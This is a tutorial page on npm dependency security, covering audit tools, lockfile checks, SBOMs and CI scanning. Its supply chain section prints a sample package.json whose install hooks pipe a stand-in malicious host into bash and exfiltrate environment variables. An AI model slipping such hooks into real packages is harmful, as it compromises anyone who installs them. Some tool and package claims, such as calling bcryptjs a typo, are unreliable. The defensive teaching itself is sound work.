Skip to content

Dependency Security

Your app is only as secure as the most vulnerable transitive dependency You wrote perfect code but the left-pad of some package 7 layers deep in your node_modules has a prototype pollution vulnerability Welcome to modern JavaScript where 90% of your code is someone else's code

npm audit: The Basics

# Scan your project for known vulnerabilities
npm audit

# JSON output for CI parsing
npm audit --json

# Only report high and critical
npm audit --audit-level=high

# Fix automatically (may break things)
npm audit fix

# Dry run - see what would happen
npm audit fix --dry-run --json
# Example output interpretation
# === npm audit security report ===
#
# | Field          | Value                                 |
# |----------------|---------------------------------------|
# | Package        | super-eval-lib                        |
# | Severity       | Critical                              |
# | CVE            | CVE-2025-12345                        |
# | Vulnerability  | Remote Code Execution                 |
# | Versions       | < 2.0.0                               |
# | Patched in     | 2.0.0                                 |
# | Path           | app > cool-lib > eval-dep             |
# | More info      | https://github.com/advisories...      |
#
# Run `npm update cool-lib --depth 3` to fix

# Check specific package
npm audit --json | jq '.vulnerabilities["super-eval-lib"]'

Run npm audit in CI with --audit-level=high : fail the build if any high or critical vulnerabilities exist Don't let developers merge packages with RCE vulnerabilities

Deeper Scanning with Snyk

# Install Snyk CLI
npm install -g snyk

# Authenticate
snyk auth

# Test your project
snyk test

# Test with JSON output
snyk test --json

# Monitor for continuous scanning
snyk monitor

# Test specific package
snyk test express

Snyk catches more than npm audit : it detects open-source license issues , container vulnerabilities , and IaC misconfigurations

Socket.dev for Package Behavior Analysis

Socket analyzes package behavior , not just reported CVEs - it catches supply chain attacks before they get CVEs

# Install Socket CLI
npm install -g @socketdev/cli

# Scan project
socket scan

# Check individual package
socket scan express

# Output format
socket scan --json > socket-report.json
# Detects: typosquatting , hidden network calls , install scripts
#          , dynamic requires , eval usage , protestware

Socket detects protestware and typo-squatting : packages that change behavior after install or closely mimic popular package names

Lockfile Integrity

# package-lock.json - never manually edit
# Includes integrity hashes (sha512) for every dependency

# Verify lockfile integrity
npm ci  # clean install - uses lockfile , fails if mismatch
# vs npm install - may update lockfile

# Validate lockfile content
npx lockfile-lint --path package-lock.json \
  --allowed-hosts npm \
  --allowed-schemes https: \
  --validate-integrity

# For yarn.lock
npx lockfile-lint --path yarn.lock \
  --type yarn \
  --allowed-hosts yarn

Commit package-lock.json always : it pins every transitive dependency and includes integrity verification hashes Without it , you're installing whatever version npm decides to resolve that day

Supply Chain Attack Patterns

// Typosquatting - common tactic
// npm install bcryptjs  (typo: should be bcrypt)
// npm install loadash   (typo: should be lodash)

// Dependency confusion - attacker uploads package with same name as internal
// npm install @mycompany/internal-auth  // no scope? npm public takes priority

// Protestware - package changes behavior based on political events
// Example: colors.js (FOSS protest , broke thousands of apps)

// Malicious install scripts
{
  "scripts": {
    "preinstall": "curl http://malicious-server.com/steal | bash",
    "postinstall": "node -e 'require(\"child_process\").execSync(\"exfil Env vars\")'"
  }
}

Audit dependencies manually : ls node_modules/.package-lock.json isn't enough Read install scripts in package.json before running npm install on untrusted packages

Best Practices

// Pin exact versions - not ranges
{
  "dependencies": {
    "express": "4.18.2",    // exact
    "lodash": "4.17.21",    // exact
    "react": "^18.2.0"      // bad - may auto-upgrade to breaking
  }
}

// Use .nsprc to suppress false positives
{
  "CVE-2025-00001": {
    "active": false,
    "notes": "Not exploitable in our config",
    "expiry": "2025-06-01"
  }
}

// npm config for security
npm config set audit true
npm config set audit-level high
npm config set fund false  // stop showing funding messages

// .npmrc
audit=true
audit-level=high
package-lock=true

npm ci in CI , npm install in development : npm ci fails if lockfile doesn't match package.json , catching tampered or incorrectly updated dependencies

SBOM Generation

Software Bill of Materials - know exactly what's in your supply chain

# CycloneDX format (OWASP standard)
npx cyclonedx-npm --output-file sbom.xml

# SPDX format
npx @cyclonedx/bom --output sbom.spdx.json

# Read SBOM
npx @cyclonedx/bom -i sbom.xml -o pretty.json

# Check against policies
npx @cyclonedx/bom validate --input-file sbom.xml

SBOMs are becoming regulatory requirements : executive order 14028 mandates SBOMs for software sold to the US government Generate one for every release

CI/CD Integration

# .github/workflows/security.yml
name: Dependency Security

on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm audit --audit-level=high
        continue-on-error: true  # don't block dev but alert
      - run: npx snyk test --severity-threshold=high
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        continue-on-error: true
      - run: npx socket scan

Continuous dependency scanning catches vulnerabilities the day they're disclosed : don't rely on monthly manual audits Automation catches RCE in your dependencies before an attacker does

Prerequisites

next -> sec_08_env_config.md